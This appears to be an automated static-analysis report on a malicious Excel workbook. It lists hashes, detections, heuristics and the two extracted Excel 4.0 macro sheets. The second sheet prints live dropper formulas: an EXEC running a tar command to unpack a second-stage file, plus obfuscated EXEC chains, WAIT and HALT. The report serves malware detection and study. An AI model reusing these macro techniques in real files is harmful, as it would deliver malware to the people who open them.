Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 48ebb08c7a9212eb…

MALICIOUS

Office (OOXML)

535.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: dccbeb6c2ababe17702f384db1dba530 SHA-1: bee8df7d2741af86ace30f7d0b0247b3e6d2b88f SHA-256: 48ebb08c7a9212eb17068c95e91cbe01e4e26ac24d849ea99ee5517a3903bcaa
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macro sheets with critical heuristic firings indicating the use of dangerous functions like EXEC and CALL. The macros appear to be designed to execute a command to extract a file named 'Nioka.meposv' from the current directory, likely a second-stage payload. The presence of these dangerous functions and the apparent payload execution strongly suggests a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1564 bytes
SHA-256: ada954ca3ab43ccf2d53a49c00a49596cc1df7d9996e33a7e27ed3a5991eaf01
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{92BAA9A6-CCD7-4C96-B244-8027D75B3DA4}"><dimension ref="H1:I28"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="8.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="8.7109375" style="2"/></cols><sheetData><row r="1" s="2" customFormat="1" x14ac:dyDescent="0.25"/><row r="23" spans="8:9" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="H23" s="2" t="b"><f>SAVE.COPY.AS(I23)</f><v>0</v></c><c r="I23" s="2" t="s"><v>3</v></c></row><row r="28" spans="8:9" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="H28" s="2" t="e"><f>GOTO(Nolaert!AK161)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2326 bytes
SHA-256: 32ba101215b038461a286de9efc369a50c2d00870a17d552cc1854c8fe12671f
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AH701:AO716"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="10.7109375" style="2"/></cols><sheetData><row r="701" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC(AJ704)=PI()=PI()=PI()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="704" spans="36:38" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AJ704" s="2" t="str"><f>"tar -xf ..\Nioka.meposv -C ..\"</f><v>tar -xf ..\Nioka.meposv -C ..\</v></c></row><row r="706" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="711" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK711" s="2" t="b"><f>PI()=PI()=PI()=EXEC(AL701&amp;AL702&amp;AL703)=PI()=PI()=PI()</f><v>0</v></c></row><row r="716" spans="37:37" s="2" customFormat="1" x14ac:dyDescent="0.25"><c r="AK716" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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